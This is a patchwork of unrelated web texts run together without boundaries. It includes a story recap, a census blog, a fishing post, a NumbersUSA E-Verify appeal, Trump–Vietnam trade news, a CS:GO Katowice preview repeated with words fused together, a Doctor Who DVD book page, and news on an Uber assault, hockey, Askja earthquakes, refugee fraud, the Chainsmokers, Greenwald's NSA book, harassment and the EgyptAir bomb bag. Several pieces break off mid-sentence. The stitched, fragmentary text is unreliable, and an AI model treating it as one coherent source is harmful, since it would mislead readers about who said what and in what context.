The next day at the park, Emily and Iris cloudgaze and talk about what they should do from here. Emily suggests that Iris move in with her and Jonah. She had already discussed it with Jonah the night before. Iris loves the idea and accepts.
Later that day after Iris is all moved in and making drinks at the bar for them, Emily and Jonah invite her to dance with them.
Next Chapter: Fiona builds a spaceship in their backyard for her husband, Patrick. What adventures will he have?
AdvertisementsLast time we visited this topic we said the worst fears of some racists are being realized: Latinos are taking over California.
Well, sorry to break it to you, Lou Dobbs, but Latinos appear to be taking over the rest of the nation as well.
And in a hurry.
Continue Reading
Yep, the Los Angelesization of the U.S.A heartland is underway (and we bet you can't wait to get your own neighborhood bacon-wrapped hot dog cart):
U.S. Census figures unleashed Thursday show that the Latino population in the country surpassed the 50 million mark for the first time, at 50.5 million.
Lou.
That's nearly one in six Americans.
The country added 15 million of us from 2000 to 2010. Ay dios mio. That's an increase of 43 percent.
Our baby makin' ways and cousin-smugglin' forays (we kid) meant that Latinos accounted for more than half the country's growth in the last decade.
(Growth, folks, can be good. Not to make light of the situation in Japan, but its population is aging in a bad way in terms of productivity and the economy).
Still, Lou, you can breath easy. We don't want to re-conquer the country. (You know: You're married to one of us). And remember, we didn't land in America, America landed on us. And then put a fence up.
And, hey, 72 percent of Americans still identify as white. And that's not even counting Jessica Alba.Hi,
I was going through my pictures and saw the pictures of my fishing trip to Astola Island and thought to share with you guys....
Astola Island on Wikipedia
Astola is some 40km+- from Pasni(city) shore... and takes 4-5 hours of boat ride in good wind conditions... when we left for Astola in the afternoon we were met with a near-death sea storm (freezing cold) and lost almost 75% of out fishing tackle... so this was an un-successful fishing |
uplous businesses to continue to hire illegal aliens at the same rate as in the past, and to use the hundreds of billions of Stimulus dollars to do it.
Rep. Calvert (R-Calif.) was the one who inserted E-Verify language into the Stimulus Bill in the House Appropriations Committee. Tonight, he stated the sad betrayal of the American workers. His words take on a partisan tone. As a studiously non-partisan organization, NumbersUSA is uncomfortable when issues are stated in partisan ways. But in this case, there is no question but that the national Democratic leadership sold out the interests of the American working man and woman.
Tonight, behind closed doors with no input from House Republicans, Speaker Pelosi and Senate Majority Leader Reid crafted the so-called compromise on the stimulus bill. What we now know is that while billions of American taxpayer dollars are going to be spent, there is no assurance that the jobs created will go to American workers. The two amendments that had been accepted by the House Appropriations Committee were stripped without discussion or debate. -- Rep. Ken Calvert of California
The House of Representatives had included two provisions in its Stimulus bill to make sure that the huge sums of money would create jobs only for legally authorized workers. One provision reauthorized the current voluntary E-Verify program which expires March 6. The other required local government or business receiving stimulus funds to run their new hires through the electronic 99.5%-accurate E-Verify system. There were no publicly stated objections to this.
But the U.S. Senate repeatedly brushed aside Alabama Sen. Sessions' efforts to introduce the same protections into its Stimulus bill.
When the House and Senate negotiators sat down, the leader of the House, Rep. Pelosi, tossed aside the will of the Members of the House of Representatives and did the bidding of the most unscrupulous businesses of America.
The American people have repeatedly voiced their support for employment verification and yet we find that once again special interests win out. The one candle in the darkness of this disastrous bill was the reauthorization and requirements to use E-Verify. Now all we are left is a bill that places illegal immigrant interests above those of hard working American families and leaves the bill at the foot of future generations. -- Rep. Calvert
Friends, this is an injustice that will come to plague the perpetrators as time moves on.
But the extent to which the U.S. Chamber of Commerce can continue to call the shots on using illegal foreign workers and importing additional authorized foreign workers will depend on how hard each of you reading this will work to spread this story in every newspaper, talk show and website.
These closed-door affronts to fair-play and compassion were executed because the leaders believed they will get by with it.
.... because they believe the American people are too tired, too dispirited and too baffled by the complexity of the trillions of dollars of bail-outs to hold their leaders accountable.
I hope you will use our free fax-sending system to make your opinions known.
The negotiated Stimulus Bill is expected to come to a vote in the House and Senate this week and then go to Pres. Obama for his signature by next Monday.
ROY BECK is Founder & CEO of NumbersUSA
P.S. As you write your comments, please try to stay civil. It will be difficult because you will be so angry. But what we all need to hear is quick stories of what you have done to spread this tale of betrayal to others. Let's be inspired to greater action by each other's deeds large and small.U.S. President Donald Trump talked trade with Vietnamese Prime Minister Nguyen Xuan Phuc during a White House visit on Wednesday and welcomed the signing of business deals worth billions of dollars and the jobs they would create.
General Electric said earlier it had signed deals with Vietnam worth about $5.58 billion for power generation, aircraft engines and services, its largest ever single combined sale with the country.
Caterpillar and its dealer in Vietnam also agreed to provide generator management technology for more than 100 generators in Vietnam, the company said.
"They (Vietnam) just made a very large order in the United States - and we appreciate that - for many billions of dollars, which means jobs for the United States and great, great equipment for Vietnam," Trump told reporters at the White House.
Phuc told the Heritage Foundation after his meeting with Trump he had signed deals for U.S. goods and services worth $15 billion during his three-day U.S. visit, most involving the import of U.S. equipment.
He said on Tuesday the deals were mainly for high-technology products and for services, but gave no details and the value of deals announced thus far by U.S. firms was lower than the figure given by Phuc.
Communist Vietnam has gone from being a Cold War enemy to an important partner for the United States in the Asia-Pacific, where both countries share concerns about China's rising power.
Phuc told Trump the relationship had undergone "significant upheavals in history," but that the two countries were now "comprehensive partners."
Phuc's meeting with Trump makes him the first Southeast Asian leader to visit the White House under the new administration.
Trade friction
However, while Hanoi and Washington have stepped up security cooperation in recent years, trade has become a potential irritant, with a deficit widening steadily in Vietnam's favor, reaching $32 billion last year, compared with $7 billion a decade earlier.
Trump, who has had strong words for countries with large trade surpluses with the United States, said he would be discussing trade with Phuc, as well as North Korea.
Washington has been seeking support to pressure North Korea to drop its nuclear and missile programs, which have become an increasing threat to the United States. Hanoi has said it shares concerns about North Korea.
In his Heritage speech, Phuc welcomed Trump's plans to attend the November APEC summit in Hanoi. He called it a sign of U.S. commitment to the region and "an important occasion for the United States to assert its positive role."
In a reference to somewhat warmer ties between Washington and Beijing under Trump - who has been courting China's support on North Korea - Phuc said Vietnam welcomed good relations between the two powers, but hoped these would serve the interest of other nations in the region too.
He urged Washington and Beijing "to act with full transparency and in a responsible manner so as not to impact negatively the region and relations among other nations."
‘Nice, but not enough’
Murray Hiebert, a Southeast Asia expert at Washington's Center for Strategic and International Studies, said that while the Trump administration welcomed new business deals with Vietnam, its view was they were "nice, but not enough."
"They want Vietnam to bring some ideas about how to tackle the surplus on an ongoing basis," he said.
On Tuesday, U.S. Trade Representative Robert Lighthizer expressed concern about the rapid growth of the deficit with Vietnam. He said it was a new challenge for the two countries and he was looking to Phuc to help address it.
The deficit is Washington's sixth largest and reflects growing imports of Vietnamese semiconductors and other electronics products in addition to more traditional sectors such as footwear, apparel and furniture.
Phuc said the two economies were "more complementary than competitive" and said U.S. exports to Vietnam had seen a rapid rise.
On Tuesday his trade minister, Tran Tuan Anh, presented Lighthizer with suggestions to address some U.S. concerns, such as advertising on U.S. social media, electronic payment services and imports of information security and farm products, Vietnam's trade ministry said.
Vietnam also urged the United States to remove an inspection program for catfish, speed import licenses for its fruit and make fair decisions on anti-dumping and anti-subsidy measures on Vietnamese products, the ministry said.
Vietnam was disappointed when Trump ditched the 12-nation Trans-Pacific Partnership (TPP) trade pact, of which Hanoi was expected to be one of the main beneficiaries, and focused U.S. trade policy on reducing deficits.Like the previous year, this year's first Valve-sponsored $250,000 tournament will be hosted by ESL at the Spodek arena in Katowice, Poland. Last year, the home team of Virtus.pro triumphed over Ninjas in Pyjamas to take the trophy and the honor of being the best in the world, and the Polish team will no doubt be the crowd favorites once again.
The overall favorites heading into Katowice, however, are sure to be Fnatic and Team EnVyUs, with the former no doubt the most feared team at the moment. The Ninjas, after making a late roster change in bringing in Aleksi "allu" Jalli in place of Mikail "Maikelele" Bill, will undoubtedly bring their best effort in hopes of reaching their fifth straight major finals appearance as well as a second major victory.
Thus far, there has been no team able to secure a second major championship, but Katowice is gearing up to be the perfect stage to bear witness to the scene's first dual-title wielder. Fnatic, nV, VP and NiP are the four teams to beat, and also the four teams that have won a major to date. The teams with the biggest potential to pull off upsets are perhaps Team SoloMid and Titan, but both teams will require an A+ effort from all members to succeed. Nevertheless, the tournament is primed for excitement, and as some may so jovially put it, the hype is real.
The year's first major is close. Teams, organizations and fans across the globe are reaching the peak of their anticipation, but we are just getting started.Like the previous year, this year's first Valve-sponsored $250,000 tournament will be hosted by ESL at the Spodek arena in Katowice, Poland. Last year, the home team ofVirtus.pro triumphed overNinjas in Pyjamas to take the trophy and the honor of being the best in the world, and the Polish team will no doubt be the crowd favorites once again.The overall favorites heading into Katowice, however, are sure to beFnatic andTeam EnVyUs, with the former no doubt the most feared team at the moment. The Ninjas, after making a late roster change in bringing inAleksi "allu" Jalli in place ofMikail "Maikelele" Bill, will undoubtedly bring their best effort in hopes of reaching their fifth straight major finals appearance as well as a second major victory.Thus far, there has been no team able to secure a second major championship, but Katowice is gearing up to be the perfect stage to bear witness to the scene's first dual-title wielder. Fnatic, nV, VP and NiP are the four teams to beat, and also the four teams that have won a major to date. The teams with the biggest potential to pull off upsets are perhapsTeam SoloMid andTitan, but both teams will require an A+ effort from all members to succeed. Nevertheless, the tournament is primed for excitement, and as some may so jovially put it, the hype is real.
The map pool is the standard Valve map pool, featuring a revamped Overpass and Cobblestone. Both maps are sure to be vetoed more often than not, but should Cobblestone be played, the new changes may grab the attention of spectators with potentially interesting games.
The group stage will be conducted under a double-elimination best of one, popularly known as the GSL format. The first team to notch two wins will proceed to the bracket stage as the higher seed, while the two teams with 1-1 records after their first two matches will face off in a decider match with the winner advancing as the lower seed. The two teams who lose twice during the group stage are naturally eliminated. The bracket stage will be played as a best of three, including the finals.
In the group stage, both teams will veto two maps each and the map will be randomly chosen between the remaining three. The higher seeded team will get to decide who vetoes first and will also get to have side choice.
In the bracket stage, both teams will veto one map each then select one map each. Once again, the higher seeded team will decide who vetoes first. Teams will have side choice on their opponent's map. The last map will be randomly chosen amongst the three remaining maps, and side choice for the last map will be decided with a coin flip.
Day Time Description
March 12 12:00 GMT (+00:00) EnVyUs vs Titan (A1)
12:00 GMT (+00:00) LGB vs PENTA (A2)
13:10 GMT (+00:00) Winner A1 vs Winner A2 (A4)
13:10 GMT (+00:00) Loser A1 vs Loser A2 (A3)
13:10 GMT (+00:00) Vox Eminor vs Fnatic (B1)
13:10 GMT (+00:00) Na'Vi vs FlipSid3 Tactics (B2)
14:20 GMT (+00:00) Winner B1 vs Winner B2 (B4)
14:20 GMT (+00:00) Loser A4 vs Winner A3
14:20 GMT (+00:00) Loser B1 vs Loser B2 (B3)
15:20 GMT (+00:00) NiP vs Keyd Stars (C1)
15:20 GMT (+00:00) CLG vs HellRaisers (C2)
15:30 GMT (+00:00) Loser B4 vs Winner B3
16:40 GMT (+00:00) Winner C1 vs Winner C2 (C4)
16:40 GMT (+00:00) Loser C1 vs Loser C2 (C3)
17:30 GMT (+00:00) Virtus.pro vs 3DMAX (D1)
17:30 GMT (+00:00) Cloud9 vs Team SoloMid (D2)
17:50 GMT (+00:00) Loser C4 vs Winner C3
18:40 GMT (+00:00) Loser D1 vs Loser D2 (D3)
19:00 GMT (+00:00) Winner D1 vs Winner D2 (D4)
20:10 GMT (+00:00) Loser D4 vs Winner D3
March 13 12:00 GMT (+00:00) Quarter-final #1
15:00 GMT (+00:00) Quarter-final #2
18:00 GMT (+00:00) Quarter-final #3
March 14 12:00 GMT (+00:00) Quarter-final #4
15:00 GMT (+00:00) Semi-final #1
18:00 GMT (+00:00) Semi-final #2
March 15 12:00 GMT (+00:00) Grand FinalTHE CLASSIC DOCTOR WHO DVD COMPENDIUM
This book is your complete guide to the original series of Doctor Who on DVD - every disc, every episode, every extra.
The DVD range of Classic Doctor Who releases forms probably the most comprehensive presentation of a television programme ever produced. Not only are the episodes themselves digitally restored to pristine quality using the best surviving materials and innovative new techniques, but each disc is packed with supplementary features that examine the making, broadcast and legacy of this ground-breaking show.
Now every disc, every episode and every extra has been collated and chronicled to guide viewers old and new on their journey through the intriguing history of Doctor Who, all fully indexed for easy reference. If you're only just learning about the show's past then this book will guide you through the adventure ahead. If you're still building your collection it will help you discover further stories you're sure to enjoy. And if you already have every release, then The Classic Doctor Who DVD Compendium is your ultimate companion to the complete range.
The Classic Doctor Who DVD Compendium; 436 pages, mono; Compiled and written by Paul Smith; Published by Wonderful Books; Printed on demand through Amazon's CreateSpace; Softcover; 15x23cm; ISBN 978-0-9576062-1-0; £16.99/$30.99
Buy now at or
Also available as an ebook for Kindle, Apple devices and others. Visit your preferred ebook retailer.
Note the ebook omits a few tables that couldn't be conveniently presented and indexes that aren't needed as the text is searchable.
Print edition now includes final release of The Underwater Menace
The printed edition of the DVD Compendium has been updated with full details of the most recent release, the delayed-cancelled-then-reinstated disc of The Underwater Menace. I've also taken the opportunity to add to a couple of the appendices, with the final releases in the DVD Files range and information on the Classic Who DVD releases in Germany.
For those who already have the book and don't wish to repurchase, click here to download a PDF of the Underwater Menace entry, which you can print and slot into your book.
DVD Compendium voted third best factual book of 2014 by DWM readers
Thank you to all readers of Doctor Who Magazine who voted for the DVD Compendium in the magazine's 2014 survey, resulting in its placing third for Favourite Non-Fiction Book, just behind two official BBC Books titles.
Click here to read reviews of The Classic Doctor Who DVD Compendium
< Return to Wonderful Books
Starburstmagazine.com - 1 August 2014
"Paul Smith has managed to create a directory of the entire classic series DVD range that is not only as comprehensive as anyone could ever wish, but that also serves as a brilliant sampler to the collection for any newcomers starting the journey. The Classic Doctor Who DVD Compendium is perhaps the closest thing to a bible that the classic series Doctor Who fan will ever need.
"The individual entries for each of the serials [are] thoughtfully put together and appealingly written (so much so that although I doubt many will sit down and actually work through the entire volume from front to back, any who do will be unlikely to find the experience a disappointment), [but] Smith's true vocation comes to the fore in the appendices. Those who are familiar with Wonderful Books' Time & Space Visualiser will be aware of Smith's deftness with a graph and while he hasn't undertaken the treatment of his Compendium in the same way, this book profits immeasurably from Smith's clarity of vision and his ability to employ that to the best advantage.
"There are indexes for almost anything the relatively sane person could ever want. It's a virtual paradise for a particular kind of fan, and it's what makes the book an absolute necessity for every kind of fan."
Click to read the full review by JR Southall
Sci-Fi Bulletin - 4 August 2014
"Starting with a close look at the technicalities behind the filming of Doctor Who -- all information which you need to understand the problems faced by the members of the Restoration Team on the various stories -- the main body of the text is an alphabetical trawl through each and every DVD released by the BBC/2Entertain featuring a classic Doctor Who story.
"The appendices at the end are possibly the most useful part of the book, detailing such things as the Easter eggs on the discs, and the DVDs which were released outside the United Kingdom.
"If, like me, you've got the classic DVDs in order on the shelves, this will be an invaluable guide."
Click to read the full review by Paul Simpson
Doctor Who Magazine - October 2014
"The Compendium opens with a history of Doctor Who on home media. This is fascinating stuff, going right back to 1963 and a detailed examination of the BBC's archiving policies over the decades/ This is great, it sets in context why Doctor Who has been released in the form it has at any given point since the dawn of home video in the early 1980s. Smith's writing is concise and readable, packing in a lot of information that inevitably goes into technological detail, but at no point do you feel out of your depth or bamboozled with technobabble.
"The Classic Doctor Who DVD Compendium is quite something, and Paul Smith is to be congratulated on a job well done. It has that essential dip-in-and-out-of quality that characterises the best books of this nature. Whether you're starting out collecting Doctor Who on DVD or have the full set, this is about as definitive as a Doctor Who book gets."
Read the full review by Mark Wright in issue 478 (November 2014) of DWM
Home Cinema Choice - 28 October 2014
"The idea of simply listing every extra from every Doctor Who DVD is the sort of thing that could be done online, which is why Smith's fascinating tome does so much more to completely justify its price tag.
"Not a stone is left unturned in this comprehensive attempt to catalogue the contents of every single release, including catalogue numbers, RRPs, restoration details, links to other stories and, of course, a full breakdown of the extra features. This last aspect expands beyond a mere listing to detailed explanations of each and every special feature, including the names of contributors they feature. It's a remarkable achievement that serves to really celebrate the incredible range of supplementary features created for the DVD line-up and those responsible for their creation.
"Make no mistake; The Classic Doctor Who DVD Compendium is an astonishing (and hugely successful) attempt at cataloguing and collating every detail about every disc in the BBC's classic Doctor Who range. All of which makes it utterly indispensable for fans and collectors alike."
Click to read the full review by Anton van Beek
< Return to Wonderful BooksAn Uber driver is accused of sexually assaulting an elderly woman while giving her a ride from Dallas to Fort Worth.
Fort Worth police have issued a warrant for driver Hashem Ramezanpour, 40. Police say he picked up the victim in Dallas, then stopped the car and sexually assaulted her in a dark, wooded area before dropping her off at her Fort Worth home on Oct. 22.
“Pulled off the side of the road, exited the vehicle and approached her from the passenger side of the vehicle and that's when actual assault and contact was made,” said FWPD Ofc. Jimmy Pollozani.
Fort Worth police say they identified Ramezanpour as the driver through his Uber app and account. Investigators even spoke to him a few days later, but police say -- at that time -- say they did not have enough evidence to arrest him for a crime.
“The reason why we waited so long is we were gathering the information from the sexual assault exams and all info we received from our crime scene search unit plus our labs to return back with a positive ID from the specimen of this individual,” Pollozani said.
By the time that information came back, detectives believe Ramezanpour -- who had recently completed an anger management class for allegedly assaulting a family member in Dallas County -- fled the country. Investigators said they believe he may be somewhere in the Middle East.
Uber released a statement, saying in part: "This former driver's access was immediately removed from the app and he has been permanently banned."
Police say he was driving a white 2016 Honda Civic, Texas license plate number JBY 3214 at the time of the incident.
Crime stoppers is offering a $1,000 reward for information leading to his arrest.The Los Angeles Kings have recalled forward Michael Mersch from the Ontario Reign of the American Hockey League Kings President/General Manager Dean Lombardi announced today.
The Kings drafted Mersch #110 overall in the fourth round of the 2011 NHL Entry Draft while the power forward was in the midst of his College career at the University of Wisconsin. Mersch spent four seasons with Wisconsin and was named to the to the All Big-Ten First Team after his Senior year in 2013-’14, where he put up 35 points (22G, 18A) in 37 games played.
The 23-year-old Mersch (born Oct. 2, 1992) is a 6-2, 218-pound native of Park Ridge, Ill. who has appeared in 19 games this season with Ontario, where he has registered 15 points (12-3=15) and 10 penalty minutes. At the time of his recall, he ranked fifth in the league in goals.
Mersch has appeared in 102 career AHL regular-season games, where he has posted 63 points (36-27=63), a plus-23 rating and 37 penalty minutes. Mersch will meet the Kings on the East Coast prior to their game against the Pittsburgh Penguins on Friday night.
The newly-recalled forward will wear #49 with the Kings.Today (26.03.2013) at 08:09 UTC there where three deep earthquakes in Askja volcano. The most depth of this earthquake swarm was 25.5 km. None of the earthquake had the magnitude above 2.5. The strongest earthquake had the magnitude 2.1 with the depth of 20.4 km
Earthquakes in Askja volcano. Askja is located to the north of Vatnajökull glacier and the lake is round in shape on this map. Marked by the orange dots on it. Copyright of this image belongs to Icelandic Meteorological Office.
This activity is part of an progress that started in Askja volcano back in the year 2010. So far this has not lead to any eruption. But it has created some odd changes. Along one was that Askja lake was ice free last year (winter 2012). The reasons for that are still not known to me.
Blog post updated at 16:32 UTC on 26.03.2013.Three Iraqi refugees were arrested Tuesday morning and charged with immigration fraud while living in Virginia after proving false information on their application to become U.S. citizens, the Department of Justice (DOJ) reports.
According to the DOJ, Yousif Al Mashhandani ("Yousif"), 35, lived in Vienna, while his brother, Adil Hasan, 38, and his wife Enas Ibrahim, 32, lived in Burke as lawful permanent residents. All three had applied to become U.S. citizens but failed to report that Yousif and Hasan were biological brothers to a Majid Al Mashhadani ("Majid") who was detained for kidnapping a U.S. citizen identified as R.H. in Iraq and holding him hostage in horrible conditions in an underground bunker in 2004.
The fraud was discovered after Yousif's fingerprints were taken during the process of his application and a connection was made to the 2004 kidnapping conducted by his brother Majid.
"According to an FBI fingerprint specialist, analysis conducted in November 2013 determined that Yousif’s fingerprints match those found on a document at the underground bunker where forces rescued R.H. and others in Iraq in 2005," the DOJ stated in a press release.
The DOJ states that when confronted with the fraud during a 2016 interview, Yousif admitted he failed to report his relation to Majid on his family tree form because as a refugee he was told that "he would not be allowed into the U.S. if any immediate family members had a criminal background."
Hasan and Ibrahim also admitted they discussed eliminating their relation to Majid "on their applications for refugee status because their connection to Majid might delay their ability to gain such status," according to the DOJ.
Furthermore, the DOJ reports that Hasan also admitted to providing false information about being kidnapped and tortured by a militant group in 2006.
"According to the affidavit in support of the criminal complaint, to justify his application for refugee status, Yousif reported that in 2006, while working as an anti-corruption investigator for the Iraqi Commission on Public Integrity in Iraq, he started receiving threats from a Shiite militia known as the 'Al Mahdi Militia,' in order to coerce Yousif to drop a particular corruption investigation. Yousif said that in May 2006, Hasan was kidnapped by the Al Mahdi Militia, and was released only after Yousif arranged to drop the investigation in question and helped pay a large ransom. Yousif said that after Hasan was released, he reopened the corruption investigation, only to flee to Jordon in October 2006 after his parents’ house was burned down.
According to the affidavit in support of the criminal complaint, to justify his application for refugee status, Hasan provided sworn testimony that, in 2006, he had been kidnapped and tortured by members of the Al Mahdi Army and held for nearly a month. Hasan said he was released upon the payment of a ransom of $20,000. In an interview by FBI agents in April 2016, Hasan said he was threatened in Iraq on two occasions, but made no mention of being kidnapped, held hostage and tortured for nearly a month. In a subsequent interview in October 2016, FBI agents confronted Hasan about the discrepancy in his stories and Hasan admitted to making false statements and creating his persecution story," the DOJ stated in the press release.
The refugees each face a maximum penalty of 10 years in prison if convicted. Their initial appearance will be held on Tuesday at the federal courthouse in Alexandria at 2 p.m.The Chainsmokers are currently under fire for tweeting a now-deleted video that shows them making a casually racist remark about China.
The video, posted on the duo’s Twitter page, was a snippet of an interview that took place at Ultra China 2017 in Shanghai over the weekend.
The minute-long segment opens with the interviewer asking member Alex Paul if he brings his dog with them during tours.
“I try to but she’s really like, really ill behaved,” he replied. “But I love her.”
These, of course, are nice words coming from any pet owner, until:
“I mean if she could come anywhere I’d bring her to… Well I don’t know if I’d bring her to China.”
Boom.
It obviously got awkward, so they try to laugh it off.
Apparently, The Chainsmokers thought nothing of the casual racism they’d just uttered; they had the audacity to let everybody know what they think about China by tweeting the clip. Naturally, they immediately drew flak.
Interestingly, many who criticized the video are ARMYs — BTS fans — as it was just announced that the pair collaborated with the seven-member boy group in a song called “Best of Me,” Allkpop noted.
In an apparent move to soothe hate comments, the duo tweeted again eight minutes later:
According to Buzzfeed, the duo has since offered an apology for their remarks:
“The interview was posted as it was meant to highlight how much the Chainsmokers love China and all of their fans there,” a spokesperson for The Chainsmokers told BuzzFeed News. “When they noticed that comment was taken out of context they took it down as it was not meant to offend anyone.”
Additionally, they have since posted an apology to their Twitter page:
One Twitter user summed up the general sentiments many netizens had over the apology:
What do you think about The Chainsmokers’ comments and subsequent apology? We’d love to hear your thoughts on this!American journalist Glenn Greenwald is accusing the U.S. National Security Agency of breaking into tech hardware to install surveillance bugs before the products are shipped to unsuspecting global customers, in a new book about the NSA's mass surveillance practices.
Greenwald, who broke the story of intelligence whistleblower Edward Snowden, sat down with CBC's chief correspondent Peter Mansbridge to discuss previously unseen documents in an interview airing Tuesday night on The National.
Greenwald's new book, No Place to Hide: Edward Snowden, the NSA and the U.S. Surveillance State, comes out on Tuesday.
The NSA practice is called supply-chain interdiction, in which the agency intercepts U.S.-made products such as routers and servers manufactured by companies such as Cisco. The hardware is physically implanted with beacons before being factory repackaged and shipped to unaware consumers around the world.
The NSA has drawn heavy criticism from privacy advocates after revelations about its domestic and international data collection techniques, which include altering products made by U.S. software companies to enable spying on global customers, were revealed by Edward Snowden. (Glenn Greenwald/Nowhere to Hide) The U.S. has warned companies about the dangers of buying Chinese products for this very reason, Greenwald says in No Place to Hide.
"While American companies were being warned away from supposedly untrustworthy Chinese routers, foreign organizations would have been well advised to beware of American-made ones," Greenwald says. "A June 2010 report from the head of the NSA's Access and Target Development department is shockingly explicit. The document gleefully observes that some 'SIGINT [signals intelligence] tradecraft... is very hands-on (literally!)."
Other revelations include a collect-it-all doctrine and extending surveillance to include airplane communications.
"If the quantity of collection revealed was already stupefying, the NSA's mission to collect all the signals all the time has driven the agency to expand and conquer more and more ground," Greenwald writes. "The amount of data it captures is so vast, in fact, that the principal challenge the agency complains about is storing the heaps of information accumulated from around the globe."
Almost missed the story
On a more personal note, Greenwald admits that he almost missed the story of his career.
Busy with deadlines and demands, the Pulitzer Prize-winning journalist initially passed on the opportunity to connect with an anonymous source looking to share information: NSA contractor Edward Snowden.
The National will broadcast Inside the Snowden Story on Tuesday night. (CBC News) “It is amazing to think back that I almost lost the biggest national security leak in probably all of American history,” Greenwald told Mansbridge.
The Guardian US writer began paying attention when a friend, documentary filmmaker Laura Poitras, contacted him to say she, too, had received emails from an anonymous source who promised to prove that the U.S. government was spying on its own citizens.
Greenwald agreed to meet Snowden in Hong Kong, but not before seeing the documents to determine whether the allegations were real.
It's a story that involved thousands of documents, produced global headlines and ultimately damaged both the U.S. government’s diplomatic relations and the American public's trust in Washington.
Greenwald said that once he received the documents from Snowden, he quickly realized how explosive they were.
“I would read a paper and I would have to get up and walk around or run around the house and breathe deeply,” he said. “It was a combination of shock and excitement.”
After that, Greenwald absorbed the bulk of the material en route to Hong Kong to meet Snowden last June.
“In retrospect, it might not have been the most prudent thing to do, to be reading archives full of thousands of top secret documents in the open on an airplane,” Greenwald said. “But you know, I wasn’t thinking that way.”
Greenwald found the information carefully documented. Snowden had catalogued everything.
“They were all very anally organized,” Greenwald said. "The documents were labelled by dates and by category and by country and by every other conceivable means of reference. Not a single document was misfiled."
Snowden 'gratified' but in exile
Greenwald said his mental picture of Snowden did not match reality. “I had a very distinct image that he was in his 60s or 70s,” he said. "That he was... kind of senior and world-weary."
Instead, Snowden was just 29 at the time. Though his documents were neat and systematic, his hotel room was not.
“He was a complete mess,” Greenwald said. “There were room service trays piled up. There were clothes strewn about everywhere.”
But he found Snowden "extremely thoughtful," with a "very systematic, rational way of evaluating" questions thrown at him.
"There was not a moment of inconsistency or hesitation where I sensed that he was doing anything other than telling the complete truth."
As for how Snowden is doing now, Greenwald told CBC that the former NSA contractor is "gratified."
However, Snowden has paid a price. He can't return home. He remains in exile in Russia, arguably the U.S.'s most wanted man.I’ve written before about how it’s actually not very difficult to tell the difference between flirting and sexual harassment. I’d like to get at this issue from a slightly different perspective by talking about the purposeful obfuscation of women’s* desires and boundaries that I often hear as a defense of those accused of sexual harassment.
What am I talking about? Things like this:
“Well, you know, you can never know when she’s gonna suddenly cry harassment.”
“Oh, women, they call guys ‘creepy’ only if they’re not attracted to them.”
“Oh, it’s only ‘harassment’ if they’re not trying to get laid right now, know what I mean?”
Often this is served with a large side of “Wow Women Are So Mysterious I Mean Wow Who Can Even Understand Those Women Their Emotions Just Change So Quickly Wow.”
The implication is that if a guy finds himself accused of sexual harassment or of being creepy, the problem isn’t with the guy’s behavior, it’s that the woman found him unattractive or she isn’t looking for sex or dating right now or she was just having one of those Female Mood-Swingy Things. The responsibility is shifted from the man who’s initiating to the woman who’s interpreting–from the man’s choice of words or actions to the woman’s supposedly unknowable and mysterious moods, desires, and preferences.
I can see how this is a convenient narrative. A guy who hits on a woman inappropriately and makes her upset or angry can just throw up his hands and be like, “Whoa, no idea what just happened there.” Or, worse, he can go post on an MRA forum about how women discriminate against unattractive men by calling them creeps.
Often even terrible ideas have a grain of truth, so here’s the grain of truth in this one. Sometimes people excuse bad behavior in those they really like (or who are skillful enough at manipulation to convince them it’s okay). The halo effect is a thing. That means that, in theory, a really attractive man could hit on a woman in ways that she’d consider creepy and off-putting if anyone else did it, but she reacts positively because she’s so attracted to the man. Maybe.
But in this case, it’s bad behavior being excused because the person’s attractive, not good behavior being problematized because the person’s unattractive. (I’m tempted to call this the Don Draper Effect, but I’ve been watching too much Mad Men lately.) Needless to say, it’s really creepy to hear someone essentially say, “I wish I were more attractive so I could get away with harassing and abusing people more easily.”
To use another example, sometimes men catcall women on the street and those women are flattered. (Before you dismiss this, women have actually told me that they find it flattering. It’s rare, but it happens.) That doesn’t mean that catcalling them is ethically okay. It just means that sometimes unethical behavior gets excused. Oftentimes, really.
More often, though, women appear not to be weirded out by the inappropriate come-ons of a guy they may or may not find attractive, but are too scared to tell him |
travel bag a white plastic bag that contained a pressure cooker connected to wires and a mobile phone. They left the white bag on the sidewalk and walked away with the travel bag. The bomb did not explode, and investigators have said that the men may have inadvertently disabled the device.
The two men, identified as Hassan Ali and Abou Bakr Radwan, had flown to New York from here, serving as unarmed security guards on the flight, the officials said.
The bag they found contained one of several homemade bombs that prosecutors say were planted that day in New York and New Jersey by Ahmad Khan Rahami, an Afghan-born American citizen.
American investigators released footage of the two men, appealing for help in identifying them.
The EgyptAir officials who identified them as Mr. Ali and Mr. Radwan spoke on the condition of anonymity because they were not authorized to discuss the matter publicly. The officials said they believed that the two employees were not connected to Mr. Rahami or the bomb plot.
“They didn’t know what was in it,” one of the officials said of the travel bag. Mr. Ali “told me he saw it and thought it was nice,” the official recalled. “He opened the bag to check it out and found a pot.”
Mr. Ali did not want to go to the trouble of flying the pot back to Cairo, the official said, so he put it aside and left with the travel bag.
“You know, we see things left on the street in New York all the time,” the official said. “Stuff no one wants. It’s normal to take them.”
The two men told friends and colleagues that they had not read the news or realized the significance of their find until Egyptian reporters started calling EgyptAir, the officials said.
One of the officials said Mr. Ali and Mr. Radwan flew back to Cairo the day after the episode. American investigators have not been able to interview them, the officials said.
Image Abou Bakr Radwan, who works as an in-flight security officer at EgyptAir.
Egyptian police officers went to Cairo International Airport on Friday to question the two men but were unable to find them because it was their day off, one of the officials said.
Mr. Ali and Mr. Radwan have not been disciplined by EgyptAir, staff members of the airline said. Tarek Attiya, a spokesman for the police, said he could not deny or confirm any of the developments.
Friday’s revelation is troubling for Egypt, whose aviation security procedures have come under intense scrutiny after three major air disasters in the past year.
In October 2015, a Russian plane crashed into the Sinai Peninsula after what may have been a terrorist bomb brought it down. In March, a passenger wearing a fake explosives belt hijacked a domestic EgyptAir flight and diverted it to Cyprus. The crisis was resolved within hours when the man, later determined to be psychologically troubled, surrendered.
In May, EgyptAir Flight 804 plunged into the Mediterranean, en route to Cairo from Paris, killing all 66 people on board. The cause of the crash is still under investigation.
EgyptAir employs in-flight security officers like Mr. Ali and Mr. Radwan to maintain order during flights and to ensure that planes are secure during stopovers at foreign airports. Unlike the undercover air marshals who travel on American carriers, Egyptian security officials are unarmed and can be identified by an understated uniform. Generally, one security officer sits near the front of the cabin and another toward the rear. In some foreign airports they are responsible for searching workers who clean planes between flights. When a plane is in the air, they sometimes deal with unruly passengers.
They receive modest training and are typically paid about $400 a month. Before the identities of the men who found the bag were revealed, Dina el-Fouly, a spokeswoman for EgyptAir, said that they were not EgyptAir workers and that the men shown in the surveillance footage did not resemble any of their employees. Ms. Foulycould not be reached for comment after the men were identified.
